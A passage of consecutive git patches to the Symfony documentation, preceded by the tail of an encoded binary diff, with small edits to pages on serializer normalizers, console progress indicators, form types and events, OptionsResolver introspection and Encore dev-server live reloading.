z<e2Y`HtSZEZj{gOKK?>KHn+4s@gl41Mthaii@2Pp`K}&4Hd!+e7zm899t<Xhgq(8p
zZA?yAHyu`8HmtgGSaoSNSr%no#%aB)a#|Fbit|S6eVkS5d_~nP&h#AH*Dr@|+^2P2
zT&M%h>F?%ts_D+lG}&*tTP=E|Jf%tfF!}0fxEkrto}@pfRXWX7*WIUieKGORml5B7
zI(GSfx!iF!G}3zUArXoxb~--HS81ZE1Ji7~O^>99b+hY3quy?J?7%dqT4-%mWbv~q
z*Wy3D;PhzyfHkm`D>WX)vpRkJcC;}j#q>XFR<AqzxsLNBE|bv@qff=x@e2vj6eLY<
z$Nz%cgVpYy7N!@%ozYqr-=`Fgt}tqMe|Pcd6F!}`WtaNy<9wc}wR{F7yTVX^-!K6n
zyQ1d%JdG+-i^;4g^IeK?nJ!rcb{X02*0&{uU<cU`DxE*n{lYOnPx!Pb6IC9%bqEk_
zK8Q+)P=v6Py6t7)AO}57NA*xVO*)8f7YJG-+OMTK*;rSfx&4|IPqT-(tb6SZIoq26
z5{u~S+*x#-(Fq{9QG$%w5dt{XhDR8{gb}Z%=h(Yr?2iH-A&E6VWDH_KB==~K1R%jM
zXH-BY5EhcW3Hwa*{3!EGl6yUwUW0k|5)CusCS{zYt7_lCVcGher*9c2$u^&FYdTME
zt-jXd0~D>*rf=M>Q@ho!<^TS!W=d0wvd0VF!yNnEkRq?U6q@s+`*@LN&$r{>zKlM{
zc{TcHT$aVtcvRKThV1Btvk~%_VpXQ9++<{@-^q@-c2RtQBRc~aLYN|nh?~ys^}K7<
z)5|P@Qm=XhNNu)m>e@!z8-Rh(O_6q7=lMc)KU$Tq79BpvKCh#TID5rn?25(2GYk{U
zeH#$Atak_qCVtTu;efUQZ3EhVN83-UDgf<3KudAJ*kLi2IAbgY2y=c#iBF)V0CJ-Q
zTd0LV5>3Zw<R5Gudv^@tM%(@_B>{oYMc^q;s0s-D&Jg(Tah_zs-5t)|<$yt<7d;xF
z_+n7JvD5R9G*=x^Or4?FhAG$;mViqf`NU(5z$X4|G*KMgXw4CYR6C{sAtcUS8uNUj
z^2GM&tbX=4Jr`5;w3#j2x6-v;dlFFR$)s6TT7q9@DRGoM$y7eykIc+f#X;;pQiFN!
zdU|PFsCEG5+h0Zx76YuY)P*({F&@4ARX>T{S<rDYT3?K|FUGsO!>v2IjDa&}11BJo
zCdxzr^K9V67_`-dBgAh=WDVPTXPR^SHt@cFc1OcpMk5&bD>d+zjfzw38*g9B2eR+T
z)xN11z_cm1LF=_)Gc=@OcXe>L6+^+M-=$4s2b-2YY<e?3_O~ocmsOWtb7$O!Yr=|w
zU_|&O=9sNDK_YH6At&}&yK?Yc%}0jHF44(j;$>dbvqCg%$Y|K%=oHXHb%{9GknySz
zs2Vgc!>(?axvC3+s$ER{YcX5dJKd;`T7#mvK%%6u504ugkNjp!a@J^qQbs0UQkY|n
zSct<jS=&O@@u3AJNoTd^Y)tndJO*-^*BvQ{A;&19l2Sq#rspZkv{N=10$XKfVOZ@&
z;P!HHii-O*%Z^ZSkIm0(26;PH7M1#4C%EGZbe8m7np?o_4|@IFLgkMtE0$`60?Qbh
zWe5;KNdwC`#4`Hknf9+I4@H^&S5K@s+q>GdiXKl^qv=YW&ipB<R#Q_Ms>WxpT9--R
zk*+Mv#M*qO$TIknBFh*M2+1LmWF5K{N>oD9Y)IL0q$!_Oo`j5@!6*tNfCv<FXNOJL
zLGWT3J9L1JfhJ>zt~UnO89SJpeLy-?#!kDRdz!k$G{O$xE8PL)t+X9{$`+vTk+yS0
zNw{-OxJ_H<)NhWwQ38#UCP!XsiYmzvIr6T(3pw&(S1=H6N5cKfa+#&G*erg5bq`go
z76C#84SDhd({AUw@b3@KD;_g5D~O49K~6LxM<8MtX{7+NbGI6f&$R34Vs|SfZA4B(
z9tmXoeWlR$=eeJpL%ZuDdP<^2?iHz~d`SwoNqwACt$kF^8}rd5`$iv|Sg<kiA<AI-
z`nji~E13AZ&Zs@jpC+EmV7?e`yPG+LoD1DBzQR6(Wkx;+P~2EW0JD&D_-aYN_Rr0S
zGD-=@Eb>kITXXL{P<=RD4#1<mrSlj33vmqRN<2mYg@oD?R8D=aMOqV#qNdmtksE!;
zvB0L%R(lb?>vej&*}nz#nhI^JIxcHZ9AiVaKbEnn<j-{_xJ$jQ^c}eGuiZh;MR^PZ
zim0%4Eq+sFFd$K*hzoqfD4_O`0wJ*1WSI-}Fcj{D!ktjK6C&qF=c_a;4h0xX79!^Z
z7VaSDa#oYmX`ddqFGus6Ju0F`lX?G}$sm>H*i`ONLEmoW&P9eWRPKbzolv>+<|=n^
zpczBc3;~$nfo6otouMjsj)*~uOT-}8B-(ReLIb@Z(kS8_VjF{`j9c=;&m}J>#UQ)7
zxu>NIsS1I}*BywATy{L$Va%c4{D++D^f1375fE7VbhmJ1i}fOH=2AOb-2O)kt(8mP
zM&8xE4g+@_1TVHdy!Uc|k<$xTp6-byVD}0bJ;MaR2ur`OkC#>tim)`Vk2n9NP}5OD
zqPH7Da2>f2JqXc*5IqR*{Rq*6JxP;SM1qK89zq8pbnqv<^kX0Oa<59%ZoJ@V0RCk(
zkw#O)z=U??_3@kMU>6y}K*RzO3q&kz;{+nsU!{iaDjT?1;9}mmSaY1k&#Jup&>ZOB
Sc^NP6KKvijQ_WN&i~s=mRfjVG


From 7b9f807a7b56e1886530865504dda235a0d779e1 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Mon, 17 Jul 2023 13:38:11 +0200
Subject: [PATCH 4882/7107] [Serializer] Remove
 `CacheableSupportsMethodInterface`

---
 serializer/custom_normalizer.rst | 41 ++++----------------------------
 1 file changed, 5 insertions(+), 36 deletions(-)

diff --git a/serializer/custom_normalizer.rst b/serializer/custom_normalizer.rst
index ec121a2f54b..25528fff54e 100644
--- a/serializer/custom_normalizer.rst
+++ b/serializer/custom_normalizer.rst
@@ -63,8 +63,8 @@ a service and :doc:`tagged </service_container/tags>` with ``serializer.normaliz
 If you're using the :ref:`default services.yaml configuration <service-container-services-load-example>`,
 this is done automatically!
 
-Performance
------------
+Performance of Normalizers/Denormalizers
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 To figure which normalizer (or denormalizer) must be used to handle an object,
 the :class:`Symfony\\Component\\Serializer\\Serializer` class will call the
@@ -72,39 +72,10 @@ the :class:`Symfony\\Component\\Serializer\\Serializer` class will call the
 (or :method:`Symfony\\Component\\Serializer\\Normalizer\\DenormalizerInterface::supportsDenormalization`)
 of all registered normalizers (or denormalizers) in a loop.
 
-The result of these methods can vary depending on the object to serialize, the
-format and the context. That's why the result **is not cached** by default and
-can result in a significant performance bottleneck.
-
-However, most normalizers (and denormalizers) always return the same result when
-the object's type and the format are the same, so the result can be cached. To
-do so, make those normalizers (and denormalizers) implement the
-:class:`Symfony\\Component\\Serializer\\Normalizer\\CacheableSupportsMethodInterface`
-and return ``true`` when
-:method:`Symfony\\Component\\Serializer\\Normalizer\\CacheableSupportsMethodInterface::hasCacheableSupportsMethod`
-is called.
-
-.. note::
-
-    All built-in :ref:`normalizers and denormalizers <component-serializer-normalizers>`
-    as well the ones included in `API Platform`_ natively implement this interface.
-
-.. deprecated:: 6.3
-
-    The :class:`Symfony\\Component\\Serializer\\Normalizer\\CacheableSupportsMethodInterface`
-    interface is deprecated since Symfony 6.3. You should implement the
-    ``getSupportedTypes()`` method instead, as shown in the section below.
-
-Improving Performance of Normalizers/Denormalizers
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-.. versionadded:: 6.3
-
-    The ``getSupportedTypes()`` method was introduced in Symfony 6.3.
-
-Both :class:`Symfony\\Component\\Serializer\\Normalizer\\NormalizerInterface`
+Additionally, both
+:class:`Symfony\\Component\\Serializer\\Normalizer\\NormalizerInterface`
 and :class:`Symfony\\Component\\Serializer\\Normalizer\\DenormalizerInterface`
-contain a new method ``getSupportedTypes()``. This method allows normalizers or
+contain the ``getSupportedTypes()`` method. This method allows normalizers or
 denormalizers to declare the type of objects they can handle, and whether they
 are cacheable. With this info, even if the ``supports*()`` call is not cacheable,
 the Serializer can skip a ton of method calls to ``supports*()`` improving
@@ -148,5 +119,3 @@ Here is an example of how to use the ``getSupportedTypes()`` method::
 
 Note that ``supports*()`` method implementations should not assume that
 ``getSupportedTypes()`` has been called before.
-
-.. _`API Platform`: https://api-platform.com

From 818f0e131c34b0da2739e88fdb31c9263e2890e0 Mon Sep 17 00:00:00 2001
From: iraouf <issam.raouf.dev@gmail.com>
Date: Mon, 17 Jul 2023 18:20:59 +0100
Subject: [PATCH 4883/7107] Update micro_kernel_trait.rst

The operator to assign the route name should be ':' instead of "="
---
 configuration/micro_kernel_trait.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/configuration/micro_kernel_trait.rst b/configuration/micro_kernel_trait.rst
index feda47d5f16..44b930367cf 100644
--- a/configuration/micro_kernel_trait.rst
+++ b/configuration/micro_kernel_trait.rst
@@ -55,7 +55,7 @@ Next, create an ``index.php`` file that defines the kernel class and runs it:
                 ]);
             }
 
-            #[Route('/random/{limit}', name='random_number')]
+            #[Route('/random/{limit}', name:'random_number')]
             public function randomNumber(int $limit): JsonResponse
             {
                 return new JsonResponse([

From 84dd67d810e8e374e29f45f78071b8bf90e94326 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 18 Jul 2023 17:43:49 +0200
Subject: [PATCH 4884/7107] Minor tweak

---
 configuration/micro_kernel_trait.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/configuration/micro_kernel_trait.rst b/configuration/micro_kernel_trait.rst
index 44b930367cf..6955d36a205 100644
--- a/configuration/micro_kernel_trait.rst
+++ b/configuration/micro_kernel_trait.rst
@@ -55,7 +55,7 @@ Next, create an ``index.php`` file that defines the kernel class and runs it:
                 ]);
             }
 
-            #[Route('/random/{limit}', name:'random_number')]
+            #[Route('/random/{limit}', name: 'random_number')]
             public function randomNumber(int $limit): JsonResponse
             {
                 return new JsonResponse([

From 603f6aa734f95d302034bb4e037a765e43acf698 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Tue, 18 Jul 2023 17:20:53 +0200
Subject: [PATCH 4885/7107] [Console] Add `ProgressIndicator` page

---
 components/console/helpers/progressbar.rst    |   6 +
 .../console/helpers/progressindicator.rst     | 126 ++++++++++++++++++
 console.rst                                   |   1 +
 3 files changed, 133 insertions(+)
 create mode 100644 components/console/helpers/progressindicator.rst

diff --git a/components/console/helpers/progressbar.rst b/components/console/helpers/progressbar.rst
index fb3f2acfe7b..3e43452a737 100644
--- a/components/console/helpers/progressbar.rst
+++ b/components/console/helpers/progressbar.rst
@@ -81,6 +81,12 @@ The progress will then be displayed as a throbber:
      1/3 [=========>------------------]  33%
      3/3 [============================] 100%
 
+.. tip::
+
+    An alternative to this is to use a
+    :doc:`/components/console/helpers/progressindicator` instead of a
+    progress bar.
+
 Whenever your task is finished, don't forget to call
 :method:`Symfony\\Component\\Console\\Helper\\ProgressBar::finish` to ensure
 that the progress bar display is refreshed with a 100% completion.
diff --git a/components/console/helpers/progressindicator.rst b/components/console/helpers/progressindicator.rst
new file mode 100644
index 00000000000..9cd82b0aed1
--- /dev/null
+++ b/components/console/helpers/progressindicator.rst
@@ -0,0 +1,126 @@
+Progress Indicator
+==================
+
+When executing longer-running commands without knowing if the the processing
+is nearly done or not, it may be helpful to show that something is actually
+happening and that updates as your command runs.
+
+To do so, use the
+:class:`Symfony\\Component\\Console\\Helper\\ProgressIndicator` and advance the
+progress as the command executes::
+
+    use Symfony\Component\Console\Helper\ProgressIndicator;
+
+    // creates a new progress indicator
+    $progressIndicator = new ProgressIndicator($output);
+
+    // starts and displays the progress indicator with a custom message
+    $progressIndicator->start('Processing...');
+
+    $i = 0;
+    while ($i++ < 50) {
+        // ... do some work
+
+        // advances the progress indicator
+        $progressIndicator->advance();
+    }
+
+    // ensures that the progress indicator shows a final message
+    $progressIndicator->finish('Finished');
+
+Customizing the Progress Indicator
+----------------------------------
+
+Built-in Formats
+~~~~~~~~~~~~~~~~
+
+By default, the information rendered on a progress indicator depends on the current
+level of verbosity of the ``OutputInterface`` instance:
+
+.. code-block:: text
+
+    # OutputInterface::VERBOSITY_NORMAL (CLI with no verbosity flag)
+     \ Processing...
+     | Processing...
+     / Processing...
+     - Processing...
+
+    # OutputInterface::VERBOSITY_VERBOSE (-v)
+     \ Processing... (1 sec)
+     | Processing... (1 sec)
+     / Processing... (1 sec)
+     - Processing... (1 sec)
+
+    # OutputInterface::VERBOSITY_VERY_VERBOSE (-vv) and OutputInterface::VERBOSITY_DEBUG (-vvv)
+     \ Processing... (1 sec, 6.0 MiB)
+     | Processing... (1 sec, 6.0 MiB)
+     / Processing... (1 sec, 6.0 MiB)
+     - Processing... (1 sec, 6.0 MiB)
+
+.. note::
+
+    If you call a command with the quiet flag (``-q``), the progress indicator won't
+    be displayed.
+
+Instead of relying on the verbosity mode of the current command, you can also
+force a format via the second argument of the ``ProgressIndicator``
+constructor::
+
+    $progressIndicator = new ProgressIndicator($output, 'verbose');
+
+The built-in formats are the following:
+
+* ``normal``
+* ``verbose``
+* ``very_verbose``
+
+If your terminal doesn't support ANSI, use the ``no_ansi`` variants:
+
+* ``normal_no_ansi``
+* ``verbose_no_ansi``
+* ``very_verbose_no_ansi``
+
+Custom Indicator Values
+~~~~~~~~~~~~~~~~~~~~~~~
+
+Instead of using the built-in indicator values, you can also set your own::
+
+    $progressIndicator = new ProgressIndicator($output, 'verbose', 100, ['⠏', '⠛', '⠹', '⢸', '⣰', '⣤', '⣆', '⡇']);
+
+The progress indicator will now look like this:
+
+.. code-block:: text
+
+     ⠏ Processing...
+     ⠛ Processing...
+     ⠹ Processing...
+     ⢸ Processing...
+
+Customize Placeholders
+~~~~~~~~~~~~~~~~~~~~~~
+
+A progress indicator uses placeholders (a name enclosed with the ``%``
+character) to determine the output format. Here is a list of the
+built-in placeholders:
+
+* ``indicator``: The current indicator;
+* ``elapsed``: The time elapsed since the start of the progress indicator;
+* ``memory``: The current memory usage;
+* ``message``: used to display arbitrary messages in the progress indicator.
+
+If you want to customize a placeholder, for example the ``message`` one, here
+is how you should do this::
+
+    ProgressIndicator::setPlaceholderFormatterDefinition(
+        'message',
+        static function (ProgressIndicator $progressIndicator): string {
+            // Return any arbitrary string
+            return 'My custom message';
+        }
+    );
+
+.. note::
+
+    Placeholders customization is applied globally, which means that any
+    progress indicator displayed after the
+    ``setPlaceholderFormatterDefinition()`` call will be affected.
diff --git a/console.rst b/console.rst
index 04c53fddae9..4078bfc221d 100644
--- a/console.rst
+++ b/console.rst
@@ -587,6 +587,7 @@ tools capable of helping you with different tasks:
 * :doc:`/components/console/helpers/questionhelper`: interactively ask the user for information
 * :doc:`/components/console/helpers/formatterhelper`: customize the output colorization
 * :doc:`/components/console/helpers/progressbar`: shows a progress bar
+* :doc:`/components/console/helpers/progressindicator`: shows a progress indicator
 * :doc:`/components/console/helpers/table`: displays tabular data as a table
 * :doc:`/components/console/helpers/debug_formatter`: provides functions to
   output debug information when running an external program

From aeee3056b4ce0efd133cfff6038c3c7060b1733e Mon Sep 17 00:00:00 2001
From: Jules Pietri <heahdude@yahoo.fr>
Date: Thu, 20 Jul 2023 10:28:59 +0200
Subject: [PATCH 4886/7107] [Form] Improve form type methods explanation

---
 form/create_custom_field_type.rst | 41 +++++++++++++++++--------------
 1 file changed, 22 insertions(+), 19 deletions(-)

diff --git a/form/create_custom_field_type.rst b/form/create_custom_field_type.rst
index 2ae299fbd18..cfd8a872a0d 100644
--- a/form/create_custom_field_type.rst
+++ b/form/create_custom_field_type.rst
@@ -116,25 +116,6 @@ These are the most important methods that a form type class can define:
 
 .. _form-type-methods-explanation:
 
-``buildForm()``
-    It adds and configures other types into this type. It's the same method used
-    when :ref:`creating Symfony form classes <creating-forms-in-classes>`.
-
-``buildView()``
-    It sets any extra variables you'll need when rendering the field in a template.
-
-``finishView()``
-    This method allows to modify the "view" of any rendered widget. This is useful
-    if your form type consists of many fields, or contains a type that produces
-    many HTML elements (e.g. ``ChoiceType``). For any other use case, it's
-    recommended to use ``buildView()`` instead.
-
-``configureOptions()``
-    It defines the options configurable when using the form type, which are also
-    the options that can be used in ``buildForm()`` and ``buildView()``
-    methods. Options are inherited from parent types and parent type
-    extensions, but you can create any custom option you need.
-
 ``getParent()``
     If your custom type is based on another type (i.e. they share some
     functionality), add this method to return the fully-qualified class name
@@ -149,6 +130,28 @@ These are the most important methods that a form type class can define:
     :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\FormType`
     type, which is the root parent for all form types in the Form component.
 
+``configureOptions()``
+    It defines the options configurable when using the form type, which are also
+    the options that can be used in the following methods. Options are inherited
+    from parent types and parent type extensions, but you can create any custom
+    option you need.
+
+``buildForm()``
+    It configures the current form and may add nested fields. It's the same
+    method used when
+    :ref:`creating Symfony form classes <creating-forms-in-classes>`.
+
+``buildView()``
+    It sets any extra variables you'll need when rendering the field in a form
+    theme template.
+
+``finishView()``
+    Same as ``buildView()``. This is useful only if your form type consists of
+    many fields (i.e. A ``ChoiceType`` composed of many radio or checkboxes),
+    as this method will allow accessing child views with
+    ``$view['child_name']``. For any other use case, it's recommended to use
+    ``buildView()`` instead.
+
 Defining the Form Type
 ~~~~~~~~~~~~~~~~~~~~~~
 

From 58b2e40b717cd026fce4554cb17c7a919c9d606a Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Thu, 20 Jul 2023 11:17:36 +0200
Subject: [PATCH 4887/7107] [Twig] Typo

---
 reference/configuration/twig.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/configuration/twig.rst b/reference/configuration/twig.rst
index 22641a19f06..e3e124a6bab 100644
--- a/reference/configuration/twig.rst
+++ b/reference/configuration/twig.rst
@@ -85,7 +85,7 @@ autoescape_service_method
 If ``autoescape_service`` option is defined, then this option defines the method
 called to determine the default escaping applied to the template.
 
-If the service defined in ``autoescape_service`` in invocable (i.e. it defines
+If the service defined in ``autoescape_service`` is invocable (i.e. it defines
 the `__invoke() PHP magic method`_) you can omit this option.
 
 .. versionadded:: 6.4

From f041d70e925bf86355b92eaa1dde60f4e8478885 Mon Sep 17 00:00:00 2001
From: Jules Pietri <heahdude@yahoo.fr>
Date: Thu, 20 Jul 2023 11:19:20 +0200
Subject: [PATCH 4888/7107] [Form] Fix form data related events definition

---
 form/events.rst | 21 ++++++++-------------
 1 file changed, 8 insertions(+), 13 deletions(-)

diff --git a/form/events.rst b/form/events.rst
index 092be472012..37c3918d67d 100644
--- a/form/events.rst
+++ b/form/events.rst
@@ -48,10 +48,12 @@ A) The ``FormEvents::PRE_SET_DATA`` Event
 .........................................
 
 The ``FormEvents::PRE_SET_DATA`` event is dispatched at the beginning of the
-``Form::setData()`` method. It can be used to:
-
-* Modify the data given during pre-population;
-* Modify a form depending on the pre-populated data (adding or removing fields dynamically).
+``Form::setData()`` method. It is used to modify the data given during
+pre-population with
+:method:`FormEvent::setData() <Symfony\\Component\\Form\\FormEvent::setData>`.
+The method :method:`Form::setData() <Symfony\\Component\\Form\\Form::setData>`
+is locked since the event is dispatched from it and will throw an exception
+if called from a listener.
 
 ===============  ========
 Data Type        Value
@@ -66,13 +68,6 @@ View data        ``null``
     See all form events at a glance in the
     :ref:`Form Events Information Table <component-form-event-table>`.
 
-.. caution::
-
-    During ``FormEvents::PRE_SET_DATA``,
-    :method:`Form::setData() <Symfony\\Component\\Form\\Form::setData>`
-    is locked and will throw an exception if used. If you wish to modify
-    data, you should use
-    :method:`FormEvent::setData() <Symfony\\Component\\Form\\FormEvent::setData>`
     instead.
 
 .. sidebar:: ``FormEvents::PRE_SET_DATA`` in the Form component
@@ -88,8 +83,8 @@ B) The ``FormEvents::POST_SET_DATA`` Event
 
 The ``FormEvents::POST_SET_DATA`` event is dispatched at the end of the
 :method:`Form::setData() <Symfony\\Component\\Form\\Form::setData>`
-method. This event is mostly here for reading data after having pre-populated
-the form.
+method. This event can be used to modify a form depending on the populated data
+(adding or removing fields dynamically).
 
 ===============  ====================================================
 Data Type        Value

From db2af1f504b50653c6849c3229499e9e9b6ce173 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Thu, 20 Jul 2023 11:34:01 +0200
Subject: [PATCH 4889/7107] fix reference

---
 frontend/asset_mapper.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index 6765b43a1a5..37404ef5dbc 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -289,7 +289,7 @@ Preloading and Initializing "app.js"
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 In addition to the importmap, the ``{{ importmap() }}`` Twig function also renders
-an `ES module shim`_ (see the :ref:`config-importmap-polyfill <polyfill config>`) and
+an `ES module shim`_ (see the :ref:`polyfill config <config-importmap-polyfill>`) and
 a few other things, like a set of "preloads":
 
 .. code-block:: html

From 57bf70792c08f559aa2a54deaa65fa0e1fc43499 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 20 Jul 2023 11:36:42 +0200
Subject: [PATCH 4890/7107] Minor tweaks

---
 .../console/helpers/progressindicator.rst     | 20 +++++++++----------
 1 file changed, 9 insertions(+), 11 deletions(-)

diff --git a/components/console/helpers/progressindicator.rst b/components/console/helpers/progressindicator.rst
index 9cd82b0aed1..d64ec6367b7 100644
--- a/components/console/helpers/progressindicator.rst
+++ b/components/console/helpers/progressindicator.rst
@@ -1,13 +1,13 @@
 Progress Indicator
 ==================
 
-When executing longer-running commands without knowing if the the processing
-is nearly done or not, it may be helpful to show that something is actually
-happening and that updates as your command runs.
+Progress indicators are useful to let users know that a command isn't stalled.
+Unlike :doc:`progress bars </components/console/helpers/progressbar>`, these
+indicators are used when the command duration is indeterminate (e.g. long-running
+commands, unquantifiable tasks, etc.)
 
-To do so, use the
-:class:`Symfony\\Component\\Console\\Helper\\ProgressIndicator` and advance the
-progress as the command executes::
+They work by instantiating the :class:`Symfony\\Component\\Console\\Helper\\ProgressIndicator`
+class and advancing the progress as the command executes::
 
     use Symfony\Component\Console\Helper\ProgressIndicator;
 
@@ -57,10 +57,9 @@ level of verbosity of the ``OutputInterface`` instance:
      / Processing... (1 sec, 6.0 MiB)
      - Processing... (1 sec, 6.0 MiB)
 
-.. note::
+.. tip::
 
-    If you call a command with the quiet flag (``-q``), the progress indicator won't
-    be displayed.
+    Call a command with the quiet flag (``-q``) to not display any progress indicator.
 
 Instead of relying on the verbosity mode of the current command, you can also
 force a format via the second argument of the ``ProgressIndicator``
@@ -108,8 +107,7 @@ built-in placeholders:
 * ``memory``: The current memory usage;
 * ``message``: used to display arbitrary messages in the progress indicator.
 
-If you want to customize a placeholder, for example the ``message`` one, here
-is how you should do this::
+For example, this is how you can customize the ``message`` placeholder::
 
     ProgressIndicator::setPlaceholderFormatterDefinition(
         'message',

From 887f6f504f28e05a3b70770d35057a3e5aa6f4e4 Mon Sep 17 00:00:00 2001
From: PululuK <pululuandre@hotmail.com>
Date: Mon, 17 Jul 2023 12:46:19 +0200
Subject: [PATCH 4891/7107] add `OptionsResolverIntrospector`usage doc

---
 components/options_resolver.rst | 21 +++++++++++++++++++++
 1 file changed, 21 insertions(+)

diff --git a/components/options_resolver.rst b/components/options_resolver.rst
index 3e7c657b79f..9c9ce53e524 100644
--- a/components/options_resolver.rst
+++ b/components/options_resolver.rst
@@ -944,3 +944,24 @@ method ``clearOptionsConfig()`` and call it periodically::
 
 That's it! You now have all the tools and knowledge needed to process
 options in your code.
+
+Get More Insights
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+The `OptionsResolverIntrospector` inspect options definitions inside an `OptionsResolver` instance.
+
+method::
+
+   use Symfony\Component\OptionsResolver\Debug\OptionsResolverIntrospector;
+   use Symfony\Component\OptionsResolver\OptionsResolver;
+
+    $resolver = new OptionsResolver();
+    $resolver->setDefaults([
+        'host' => 'smtp.example.org',
+        'port' => 25,
+    ]);
+
+    $introspector = new OptionsResolverIntrospector($resolver);
+    $introspector->getDefault('host'); // Retrieves "smtp.example.org"
+
+

From ad6e24af52c2e26ee4d192216354527fd6bf294c Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 20 Jul 2023 13:02:09 +0200
Subject: [PATCH 4892/7107] Minor tweaks

---
 components/options_resolver.rst | 11 ++++-------
 1 file changed, 4 insertions(+), 7 deletions(-)

diff --git a/components/options_resolver.rst b/components/options_resolver.rst
index 9c9ce53e524..89864774d8f 100644
--- a/components/options_resolver.rst
+++ b/components/options_resolver.rst
@@ -945,12 +945,11 @@ method ``clearOptionsConfig()`` and call it periodically::
 That's it! You now have all the tools and knowledge needed to process
 options in your code.
 
-Get More Insights
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+Getting More Insights
+~~~~~~~~~~~~~~~~~~~~~
 
-The `OptionsResolverIntrospector` inspect options definitions inside an `OptionsResolver` instance.
-
-method::
+Use the ``OptionsResolverIntrospector`` to inspect the options definitions
+inside an ``OptionsResolver`` instance::
 
    use Symfony\Component\OptionsResolver\Debug\OptionsResolverIntrospector;
    use Symfony\Component\OptionsResolver\OptionsResolver;
@@ -963,5 +962,3 @@ method::
 
     $introspector = new OptionsResolverIntrospector($resolver);
     $introspector->getDefault('host'); // Retrieves "smtp.example.org"
-
-

From 847c1a00a76eb414091474ea1632789b16ef5df6 Mon Sep 17 00:00:00 2001
From: Julien Gidel <gidjulien@gmail.com>
Date: Mon, 17 Jul 2023 23:07:09 +0200
Subject: [PATCH 4893/7107] Update definition.rst

---
 components/config/definition.rst | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/components/config/definition.rst b/components/config/definition.rst
index eaae06c4450..1779f6ae3db 100644
--- a/components/config/definition.rst
+++ b/components/config/definition.rst
@@ -870,3 +870,9 @@ Otherwise the result is a clean array of configuration values::
         $databaseConfiguration,
         $configs
     );
+
+.. caution::
+
+    When processing the configuration tree, the processor assumes the top level 
+    array key is already stripped off. If you want a root name, you should
+    add it to your tree builder as an array node.

From 53acc819a55d25650f0348ceddb05d816eb034b6 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 20 Jul 2023 13:26:13 +0200
Subject: [PATCH 4894/7107] Minor tweak

---
 components/config/definition.rst | 5 ++---
 1 file changed, 2 insertions(+), 3 deletions(-)

diff --git a/components/config/definition.rst b/components/config/definition.rst
index 1779f6ae3db..437c93322d6 100644
--- a/components/config/definition.rst
+++ b/components/config/definition.rst
@@ -873,6 +873,5 @@ Otherwise the result is a clean array of configuration values::
 
 .. caution::
 
-    When processing the configuration tree, the processor assumes the top level 
-    array key is already stripped off. If you want a root name, you should
-    add it to your tree builder as an array node.
+    When processing the configuration tree, the processor assumes that the top
+    level array key (which matches the extension name) is already stripped off.

From 0b3ff045de8c4f23af3c396e8700925d16678933 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Lud=C4=9Bk=20Uiberlay?= <ludek@ludek.biz>
Date: Fri, 7 Jul 2023 22:02:36 +0200
Subject: [PATCH 4895/7107] [Encore] Webpack Dev Server: live reload & HMR

---
 frontend/encore/dev-server.rst | 28 ++++++++++++++++++++++++++++
 1 file changed, 28 insertions(+)

diff --git a/frontend/encore/dev-server.rst b/frontend/encore/dev-server.rst
index 6fcdaee6fd6..4feecb3deec 100644
--- a/frontend/encore/dev-server.rst
+++ b/frontend/encore/dev-server.rst
@@ -128,6 +128,34 @@ your page. HMR works automatically with CSS (as long as you're using the
 ``dev-server`` and Encore 1.0 or higher) but only works with some JavaScript
 (like :doc:`Vue.js </frontend/encore/vuejs>`).
 
+Live Reloading when changing PHP / Twig Files
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+To utilize the HMR superpower along with live reload for your PHP code and
+templates, set the following options:
+
+
+.. code-block:: javascript
+
+    // webpack.config.js
+    // ...
+
+    Encore
+        // ...
+
+        .configureDevServerOptions(options => {
+            options.liveReload = true;
+            options.static = {
+                watch: false
+            };
+            options.watchFiles = {
+                paths: ['src/**/*.php', 'templates/**/*'],
+            };
+        })
+
+The ``static.watch`` option is required to disable the default reloading of
+files from the static directory, as those files are already handled by HMR.
+
 .. versionadded:: 1.0.0
 
     Before Encore 1.0, you needed to pass a ``--hot`` flag at the command line

From e415d19effba36054ad8796a5d39bc8d9a154fdc Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Fri, 21 Jul 2023 09:23:55 +0200
Subject: [PATCH 4896/7107] [Best Practices] Remove annotations paragraph

---
 best_practices.rst | 3 ---
 1 file changed, 3 deletions(-)

diff --git a/best_practices.rst b/best_practices.rst
index d500cfc34e0..99087809395 100644
--- a/best_practices.rst
+++ b/best_practices.rst
@@ -207,9 +207,6 @@ Doctrine supports several metadata formats, but it's recommended to use PHP
 attributes because they are by far the most convenient and agile way of setting
 up and looking for mapping information.
 
-If your PHP version doesn't support attributes yet, use annotations, which is
-similar but requires installing some extra dependencies in your project.
-
 Controllers
 -----------
 

From 03804299faa14eac85f947e795c03e87834eb976 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Thu, 20 Jul 2023 16:50:17 +0200
